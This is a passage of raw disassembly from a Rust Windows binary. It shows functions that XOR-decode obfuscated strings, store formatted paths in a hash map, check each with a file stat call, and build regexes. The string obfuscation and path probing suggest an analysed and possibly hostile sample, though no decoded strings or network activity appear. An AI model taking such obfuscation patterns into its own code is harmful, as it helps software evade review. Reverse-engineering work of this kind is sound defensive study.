lea rsi, [rsp + 0x1ae0]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004ed7d
test rax, rax
je 0x14004ed7d
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b8332]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x581bc498
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::hc9e1761881e93933
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x14035b110]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ab5
mov qword [rsp + 0x1210], r13
mov byte [rsp + 0x6e], r12b
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x2d
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x19
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0x16
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0xa3dbced6
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1402b6733]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xc97b36d0
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h6a26560dd394f53a
movabs rcx, 0x4975966e5038838a
xor rcx, qword [rax]
movabs rdx, 0xc762c0138cbd5df2
xor rdx, qword [rax + 8]
movabs r8, 0xd0a76be1737d1bc3
xor r8, qword [rax + 0x10]
movabs r9, 0xbc253b1c86b1f48c
xor r9, qword [rax + 0x18]
movabs r10, 0x88cc6ec27390615f
xor r10, qword [rax + 0x20]
movabs r11, 0xf4257654a791a548
xor r11, qword [rax + 0x28]
movzx eax, byte [rax + 0x30]
xor al, 0x43
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov byte [rsp + 0x110], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x31
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1af8]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea r14, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov rcx, r14
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rbp, 0x8000000000000000
cmp rax, rbp
je 0x14004f008
test rax, rax
je 0x14004f008
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rax, qword [rsp + 0x1240]
mov rcx, qword [rsp + 0x1248]
mov qword [rsp + 0x1208], rcx
mov rcx, qword [rsp + 0x1258]
mov qword [rsp + 0x540], 0
mov qword [rsp + 0x548], 1
mov qword [rsp + 0x550], 0
movdqa xmm0, xmmword [rax]
pmovmskb r15d, xmm0
not r15d
lea r13, [rax + 0x10]
xor edx, edx
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x1200], rcx
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0x11f8], r13
mov qword [rsp + 0x858], rax
mov qword [rsp + 0x840], rax
jmp 0x14004f0b5
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rbx
call fcn.140137fbc
dec rsi
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rsi
call fcn.140137fbc
mov rdx, qword [rsp + 0xd8]
test rdx, rdx
je 0x14005582d
test r15w, r15w
mov r8, qword [rsp + 0x840]
jne 0x14004f102
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r13]
pmovmskb r15d, xmm0
add r8, 0xfffffffffffffd00
add r13, 0x10
cmp r15d, 0xffff
je 0x14004f0e0
not r15d
tzcnt eax, r15d
lea ecx, [r15 - 1]
and ecx, r15d
mov r15d, ecx
neg rax
lea r12, [rax + rax*2]
shl r12, 4
dec rdx
mov qword [rsp + 0xd8], rdx
mov rdx, qword [r8 + r12 - 0x10]
mov qword [rsp + 0x840], r8
mov r8, qword [r8 + r12 - 8]
mov rcx, r14
call sym.std::sys::pal::windows::fs::stat::hb4d86dbde420c37b
cmp dword [rsp + 0xe0], 2
jne 0x14004f195
mov rsi, qword [rsp + 0xe8]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x14004f0b5
mov rbx, qword [rsi - 1]
mov rdi, qword [rsi + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14004f176
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14004f0a1
cmp qword [rdi + 0x10], 0x11
jb 0x14004f090
mov rbx, qword [rbx - 8]
jmp 0x14004f090
lea rax, [0x1402b5579]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x77091038
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::ha8a391245e8cca27
mov rdi, qword [rax]
mov rsi, qword [rax + 8]
movzx ebx, byte [rax + 0x10]
movzx eax, byte [0x14035b110]
mov edx, 0x11
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055bf8
mov r14, rax
movabs rax, 0x7a5779e9ecf18e54
xor rsi, rax
movabs rax, 0x2be0ab9d9ef6ed9f
xor rdi, rax
xor bl, 0xdc
mov qword [r14], rdi
mov qword [r14 + 8], rsi
mov byte [r14 + 0x10], bl
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x168], 8
mov qword [rsp + 0x170], 0
mov qword [rsp + 0xe0], 1
mov qword [rsp + 0xe8], 0x200000
mov qword [rsp + 0xf0], 1
mov qword [rsp + 0xf8], 0xa00000
mov qword [rsp + 0x100], 2
mov qword [rsp + 0x110], 2
mov qword [rsp + 0x120], 2
mov byte [rsp + 0x148], 3
mov byte [rsp + 0x150], 0
movabs rax, 0x202020202020202
mov qword [rsp + 0x152], rax
mov byte [rsp + 0x15a], 3
mov dword [rsp + 0x178], 0xfa
mov byte [rsp + 0x17c], 0xa
lea rax, [rsp + 0xe8]
mov word [rax + 0x99], 0
mov dword [rax + 0x95], 0
mov word [rsp + 0x183], 0x101
mov byte [rsp + 0x185], 0
mov r8d, 1
lea rcx, [rsp + 0x160]
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::hd68976113bab0833
mov rdi, qword [rsp + 0x168]
mov rsi, qword [rsp + 0x170]
movzx eax, byte [0x14035b110]
mov edx, 0x11
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055bf8
movzx ecx, byte [r14 + 0x10]
mov byte [rax + 0x10], cl
movdqu xmm0, xmmword [r14]
movdqu xmmword [rax], xmm0
lea rcx, [rsi + rsi*2]
mov qword [rdi + rcx*8], 0x11
mov qword [rdi + rcx*8 + 8], rax
mov qword [rdi + rcx*8 + 0x10], 0x11
lea rax, [rsi + 1]
mov rcx, qword [rsp + 0x168]
mov rdx, qword [rsp + 0xe0]
mov qword [rsp + 0x11e0], rdx
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x58], rdx
mov rdx, qword [rsp + 0xf0]
mov qword [rsp + 0xc0], rdx
mov rdx, qword [rsp + 0xf8]
mov qword [rsp + 0xa8], rdx
mov rdx, qword [rsp + 0x100]
mov qword [rsp + 0x48], rdx
mov rdx, qword [rsp + 0x108]
mov qword [rsp + 0x80], rdx
mov rdx, qword [rsp + 0x110]
mov qword [rsp + 0x38], rdx
movzx edi, byte [rsp + 0x148]
movzx edx, byte [rsp + 0x150]
mov byte [rsp + 0x838], dl
movzx edx, byte [rsp + 0x151]
mov byte [rsp + 0x6d], dl
movd xmm10, dword [rsp + 0x154]
movzx ebp, byte [rsp + 0x158]
movzx edx, byte [rsp + 0x159]
mov byte [rsp + 0x62], dl
movzx edx, byte [rsp + 0x15a]
mov byte [rsp + 0x518], dl
movzx r10d, byte [rsp + 0x17c]
movzx ebx, byte [rsp + 0x17d]
movd xmm13, dword [rsp + 0x17e]
movzx r11d, byte [rsp + 0x180]
movzx r9d, byte [rsp + 0x181]
mov qword [rsp + 0x5b8], rax
movzx eax, byte [rsp + 0x182]
mov byte [rsp + 0x570], al
movzx edx, byte [rsp + 0x183]
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x578], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x11e8], rax
mov r8, qword [rsp + 0x160]
mov eax, dword [rsp + 0x178]
mov dword [rsp + 0x84c], eax
mov eax, dword [rsp + 0x184]
test rsi, rsi
jne 0x140055da0
mov byte [rsp + 0x6a], bpl
mov byte [rsp + 0x6b], bl
mov byte [rsp + 0x6c], dl
mov qword [rsp + 0x11c0], r14
mov qword [rsp + 0x11c8], r15
mov edx, edi
and dl, 0xfe
cmp dl, 2
je 0x14004f525
mov rsi, qword [rsp + 0x40]
lock inc qword [rsi]
jle 0x140055cf6
mov dword [rsp + 0x848], eax
mov byte [rsp + 0x68], dil
mov byte [rsp + 0x69], r9b
xor r15d, r15d
mov rax, qword [rsp + 0xc0]
test rax, rax
setne r15b
cmp rax, 2
cmove r15, rax
xor esi, esi
mov rax, qword [rsp + 0x48]
test rax, rax
setne sil
cmp rax, 2
cmove rsi, rax
xor ebx, ebx
mov rax, qword [rsp + 0x38]
test rax, rax
setne bl
cmp rax, 2
cmove rbx, rax
xor r14d, r14d
mov rax, qword [rsp + 0x50]
test rax, rax
setne r14b
cmp rax, 2
cmove r14, rax
mov rbp, qword [rcx + 0x10]
test rbp, rbp
js 0x140055dc1
movabs r9, 0x8000000000000000
lea rax, [r9 - 0x18]
cmp rbp, rax
ja 0x140055ded
mov rax, rbp
mov byte [rsp + 0x67], r11b
mov byte [rsp + 0x66], r10b
mov qword [rsp + 0x11d8], r8
mov byte [rsp + 0x65], dl
mov qword [rsp + 0xb0], rcx
mov rbp, qword [rcx + 8]
mov qword [rsp + 0x500], rax
lea r8, [rax + 0x17]
lea rax, [r9 - 8]
and r8, rax
je 0x14004f60e
movzx eax, byte [0x14035b110]
xor ecx, ecx
mov rdi, r8
mov rdx, r8
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
jne 0x14004f613
jmp 0x140055e74
mov eax, 8
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rsp + 0x90], rax
lea rcx, [rax + 0x10]
mov qword [rsp + 0x11d0], rcx
mov rdx, rbp
mov r8, qword [rsp + 0x500]
call sym.memcpy
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xf0], 2
mov qword [rsp + 0x100], 2
mov qword [rsp + 0x110], 2
mov qword [rsp + 0x120], 2
mov byte [rsp + 0x148], 3
mov byte [rsp + 0x150], 0
movabs rax, 0x202020202020202
mov qword [rsp + 0x152], rax
mov byte [rsp + 0x15a], 3
mov dword [rsp + 0x168], 0xfa
mov word [rsp + 0x16c], 0
mov byte [rsp + 0x16e], 0
mov byte [rsp + 0x160], 1
lea rax, [rsp + 0xe8]
mov word [rax + 0x7d], 0x202
mov dword [rax + 0x79], 0x2020202
cmp qword [rsp + 0xc0], 2
jne 0x14004f701
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0x48], 2
movzx r10d, byte [rsp + 0x67]
jne 0x14004f71f
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x80], rax
xor eax, eax
cmp qword [rsp + 0x11e0], 0
setne cl
mov rbp, qword [rsp + 0x500]
jne 0x14004f9e0
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x58], rdx
cmp qword [rsp + 0x38], 2
je 0x14004f9ec
cmp qword [rsp + 0x50], 2
jne 0x14004f76c
mov rdx, qword [rsp + 0x128]
mov qword [rsp + 0xa0], rdx
mov r9d, dword [rsp + 0x848]
shr r9d, 8
movzx r11d, byte [rsp + 0x838]
test r11b, r11b
mov byte [rsp + 0x167], 0xa
movzx edx, byte [rsp + 0x6d]
movzx r8d, byte [rsp + 0x151]
cmovne r8d, edx
mov al, cl
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], r15
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], rsi
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], rbx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], r14
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x578]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x11e8]
mov qword [rsp + 0x140], rax
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x148], al
mov eax, dword [rsp + 0x1243]
lea rcx, [rsp + 0xe8]
mov dword [rcx + 0x64], eax
mov eax, dword [rsp + 0x1240]
mov dword [rcx + 0x61], eax
mov byte [rsp + 0x150], r11b
mov byte [rsp + 0x151], r8b
mov word [rsp + 0x152], 0x101
movd dword [rsp + 0x154], xmm10
movzx eax, byte [rsp + 0x6a]
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x518]
mov byte [rsp + 0x15a], al
mov eax, dword [rsp + 0x5e0]
mov dword [rcx + 0x73], eax
movzx eax, byte [rsp + 0x5e4]
mov byte [rcx + 0x77], al
movzx eax, byte [rsp + 0x570]
mov byte [rsp + 0x16c], al
mov eax, dword [rsp + 0x84c]
mov dword [rsp + 0x168], eax
mov byte [rsp + 0x16d], r9b
movzx eax, byte [rsp + 0x6b]
movd xmm0, eax
movzx eax, byte [rsp + 0x69]
movd xmm1, eax
cmp byte [rsp + 0x6c], 0
setne al
add al, al
mov byte [rsp + 0x165], al
cmp r10b, 1
mov eax, 0
adc al, 1
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0x167], al
movdqa xmm2, xmmword [0x1402b3f60]
pandn xmm2, xmm0
pslld xmm13, 8
por xmm13, xmm2
pslld xmm1, 0x18
movdqa xmm2, xmmword [0x1402b3f70]
movdqa xmm0, xmm2
pandn xmm0, xmm1
pand xmm13, xmm2
por xmm13, xmm0
pcmpeqb xmm13, xmmword [0x1402b3fc0]
movdqa xmm0, xmmword [0x1402b3f80]
psubb xmm0, xmm13
movd dword [rsp + 0x161], xmm0
mov byte [rsp + 0x160], 1
lea rcx, [rsp + 0xbd0]
lea r15, [rsp + 0xe0]
mov rdx, r15
mov r8, qword [rsp + 0x11d0]
mov r9, rbp
call sym.regex_automata::meta::regex::Builder::build::h4bdc5cb6609ac54b
mov rbx, qword [rsp + 0xbd0]
mov rsi, qword [rsp + 0xbd8]
movabs rax, 0x8000000000000000
add rax, 2
mov r14, qword [rsp + 0xbe0]
cmp rbx, rax
jne 0x14004fa0a
mov rdi, rbp
jmp 0x140050312
cmp qword [rsp + 0x38], 2
jne 0x14004f754
mov rdx, qword [rsp + 0x118]
mov qword [rsp + 0x78], rdx
cmp qword [rsp + 0x50], 2
je 0x14004f75c
jmp 0x14004f76c
mov rdi, qword [rsp + 0xbe8]
mov r15, qword [rsp + 0xbf0]
lea rax, [rsp + 0xbf8]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x1240], xmm0
movaps xmmword [rsp + 0x1250], xmm1
movaps xmmword [rsp + 0x1260], xmm2
movaps xmmword [rsp + 0x1270], xmm3
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x1280], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x1290], xmm0
mov rcx, qword [rsp + 0x90]
lock dec qword [rcx]
jne 0x14004fa7f
mov rdx, rbp
call sym.alloc::sync::Arc_T_A_::drop_slow::h267223fbb94d2f65
movaps xmm0, xmmword [rsp + 0x1290]
lea rax, [rsp + 0xbf8]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x1280]
movups xmmword [rax + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x1240]
movdqa xmm1, xmmword [rsp + 0x1250]
movdqa xmm2, xmmword [rsp + 0x1260]
movdqa xmm3, xmmword [rsp + 0x1270]
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], rsi
mov qword [rsp + 0xbe0], r14
mov qword [rsp + 0xbe8], rdi
mov qword [rsp + 0xbf0], r15
movabs r8, 0x8000000000000000
lea rdi, [r8 + 1]
cmp rbx, rdi
jne 0x14004fb3a
lea rax, [r8 + 5]
cmp rsi, rax
jne 0x14004fb3a
mov qword [rsp + 0x90], r14
mov r14, r8
lea r15, [rsp + 0xe0]
mov rdi, qword [rsp + 0x11b8]
jmp 0x140050281
cmp rbx, rdi
lea r15, [rsp + 0xe0]
mov qword [rsp + 0x38], rdi
jne 0x14004fbaf
mov qword [rsp + 0x5e0], 0
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x5f0], 0
mov r8d, 0x12
lea rcx, [rsp + 0x5e0]
lea rdx, str.error_building_NFAinternal_error:_entered_unreachable_code:_found_impossible_error_in_meta_engine:
call sym._ZN58__LT_alloc..string..String_u20_as_u20_core..fmt..Write_GT_9write_str17h94ef6ec67befc569E.2169
test al, al
jne 0x14005618d
mov r14, qword [rsp + 0x5e0]
mov rcx, qword [rsp + 0x5e8]
mov rdi, qword [rsp + 0x5f0]
jmp 0x140050258
mov qword [rsp + 0x4e0], 0
mov qword [rsp + 0x4e8], 1
mov qword [rsp + 0x4f0], 0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xbd0], rax
lea rsi, [rsp + 0x4e0]
lea r14, sym._ZN4core3ptr205drop_in_place_LT__LT_alloc..boxed..Box_LT_dyn_u20_core..error..Error_u2b_core..marker..Sync_u2b_core..marker..S
jne 0x14004fd3b
cmp rbx, rdi
lea rax, [rsp + 0xbd0]
mov ecx, 0
cmove rax, rcx
lea rcx, [rsp + 0xc20]
mov edx, 0x50
cmove rcx, rdx
movdqu xmm0, xmmword [rax + 0x10]
lea rax, [rsp + 0xbf0]
mov edx, 0x20
cmove rax, rdx
movdqu xmmword [rsp + 0x15d0], xmm0
mov qword [rsp + 0x15e0], rcx
mov qword [rsp + 0x15e8], rax
mov qword [rsp + 0x15f0], 0
lea rcx, [rsp + 0x900]
lea rdx, [rsp + 0x15d0]
call sym.regex_syntax::error::Spans::from_formatter::h8674b634c010ed18
mov rax, qword [rsp + 0x15d0]
mov rcx, qword [rsp + 0x15d8]
cmp rcx, 0xf
ja 0x140052670
test rcx, rcx
je 0x14004fca2
xor edx, edx
cmp byte [rax + rdx], 0xa
je 0x140054d00
inc rdx
cmp rcx, rdx
jne 0x14004fc90
mov r8d, 0x13
mov rcx, rsi
lea rdx, str.regex_parse_error:_nerror:
call sym._ZN58__LT_alloc..string..String_u20_as_u20_core..fmt..Write_GT_9write_str17h94ef6ec67befc569E.2169
test al, al
jne 0x1400560ba
lea rsi, [rsp + 0x5e0]
mov rcx, rsi
lea rdx, [rsp + 0x15d0]
call sym.regex_syntax::error::Spans::from_formatter::h8674b634c010ed18
lea rcx, [rsp + 0xf90]
mov rdx, rsi
call sym.regex_syntax::error::Spans::notate::hcfe7ac1571b6ec15
mov rsi, qword [rsp + 0x5f0]
test rsi, rsi
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
je 0x14004feb6
mov rdi, qword [rsp + 0x5e8]
add rdi, 8
jmp 0x14004fd1a
add rdi, 0x18
dec rsi
je 0x14004feb6
cmp qword [rdi - 8], 0
je 0x14004fd0d
mov r8, qword [rdi]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
jmp 0x14004fd0d
cmp rbx, rdi
lea rcx, [rsp + 0xbd0]
mov eax, 0
cmove rcx, rax
lea rax, [rsp + 0xbe8]
mov edx, 0x18
cmove rax, rdx
mov r8d, dword [rcx + 0x18]
cmp r8d, 0x11
je 0x14004fd7b
cmp r8d, 0xe
je 0x14004fd7b
mov edx, 0
cmp r8d, 0xd
jne 0x14004fd90
cmp rbx, rdi
lea rdx, [rsp + 0xbf0]
mov r8d, 0x20
cmove rdx, r8
mov r8, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
cmp rbx, rdi
lea r9, [rsp + 0xc20]
mov r10d, 0x50
cmove r9, r10
mov qword [rsp + 0x15d0], r8
mov qword [rsp + 0x15d8], rcx
mov qword [rsp + 0x15e0], rax
mov qword [rsp + 0x15e8], r9
mov qword [rsp + 0x15f0], rdx
lea rcx, [rsp + 0x900]
lea rdx, [rsp + 0x15d0]
call sym.regex_syntax::error::Spans::from_formatter::h8674b634c010ed18
mov rax, qword [rsp + 0x15d0]
mov rcx, qword [rsp + 0x15d8]
cmp rcx, 0xf
ja 0x1400526a6
test rcx, rcx
je 0x14004fe1d
xor edx, edx
cmp byte [rax + rdx], 0xa
je 0x1400552b9
inc rdx
cmp rcx, rdx
jne 0x14004fe0b
mov r8d, 0x13
mov rcx, rsi
lea rdx, str.regex_parse_error:_nerror:
call sym._ZN58__LT_alloc..string..String_u20_as_u20_core..fmt..Write_GT_9write_str17h94ef6ec67befc569E.2169
test al, al
jne 0x14005613e
lea rsi, [rsp + 0x5e0]
mov rcx, rsi
lea rdx, [rsp + 0x15d0]
call sym.regex_syntax::error::Spans::from_formatter::h8674b634c010ed18
lea rcx, [rsp + 0xf90]
mov rdx, rsi
call sym.regex_syntax::error::Spans::notate::hcfe7ac1571b6ec15
mov rsi, qword [rsp + 0x5f0]
test rsi, rsi
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
je 0x14005005e
mov rdi, qword [rsp + 0x5e8]
add rdi, 8
jmp 0x14004fe95
add rdi, 0x18
dec rsi
je 0x14005005e
cmp qword [rdi - 8], 0
je 0x14004fe88
mov r8, qword [rdi]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
jmp 0x14004fe88
cmp qword [rsp + 0x5e0], 0
je 0x14004fede
mov r8, qword [rsp + 0x5e8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
cmp qword [rsp + 0x5f8], 0
lea rsi, [rsp + 0xf90]
je 0x14004ff0e
mov r8, qword [rsp + 0x600]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0x868], rsi
mov qword [rsp + 0x870], rax
lea rax, [0x140326fc0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
lea rbx, [rsp + 0x868]
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], 1
lea rdi, [rsp + 0x4e0]
mov rcx, rdi
mov rdx, r14
lea rsi, [rsp + 0x5e0]
mov r8, rsi
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x140055fe3
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0x868], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::ha85532e368e9f40f]
mov qword [rsp + 0x870], rax
lea rax, [0x1402e24c0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], 1
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x140055fe3
cmp qword [rsp + 0xf90], 0
je 0x140050018
mov r8, qword [rsp + 0xf98]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rsi, qword [rsp + 0x910]
test rsi, rsi
je 0x1400501fe
mov rdi, qword [rsp + 0x908]
add rdi, 8
jmp 0x140050044
add rdi, 0x18
dec rsi
je 0x1400501fe
cmp qword [rdi - 8], 0
je 0x140050037
mov r8, qword [rdi]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
jmp 0x140050037
cmp qword [rsp + 0x5e0], 0
je 0x140050086
mov r8, qword [rsp + 0x5e8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
cmp qword [rsp + 0x5f8], 0
lea rsi, [rsp + 0xf90]
je 0x1400500b6
mov r8, qword [rsp + 0x600]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0x868], rsi
mov qword [rsp + 0x870], rax
lea rax, [0x140326fc0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
lea rbx, [rsp + 0x868]
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], 1
lea rdi, [rsp + 0x4e0]
mov rcx, rdi
mov rdx, r14
lea rsi, [rsp + 0x5e0]
mov r8, rsi
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x140055fff
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0x868], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h5e98be4893f58ddd]
mov qword [rsp + 0x870], rax
lea rax, [0x1402e24c0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], 1
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x140055fff
cmp qword [rsp + 0xf90], 0
je 0x1400501c0
mov r8, qword [rsp + 0xf98]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rsi, qword [rsp + 0x910]
test rsi, rsi
je 0x1400501fe
mov rdi, qword [rsp + 0x908]
add rdi, 8
jmp 0x1400501e4
add rdi, 0x18
dec rsi
je 0x1400501fe
cmp qword [rdi - 8], 0
je 0x1400501db
mov r8, qword [rdi]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
jmp 0x1400501db
cmp qword [rsp + 0x900], 0
je 0x14005021f
mov r8, qword [rsp + 0x908]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
cmp qword [rsp + 0x918], 0
je 0x140050240
mov r8, qword [rsp + 0x920]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov r14, qword [rsp + 0x4e0]
mov rcx, qword [rsp + 0x4e8]
mov rdi, qword [rsp + 0x4f0]
mov rax, qword [rsp + 0xbd0]
cmp rax, qword [rsp + 0x38]
mov qword [rsp + 0x90], rcx
jne 0x1400502d5
mov rax, qword [rsp + 0xbd8]
movabs r8, 0x8000000000000000
lea rdx, [r8 + rax]
dec rdx
mov rcx, rax
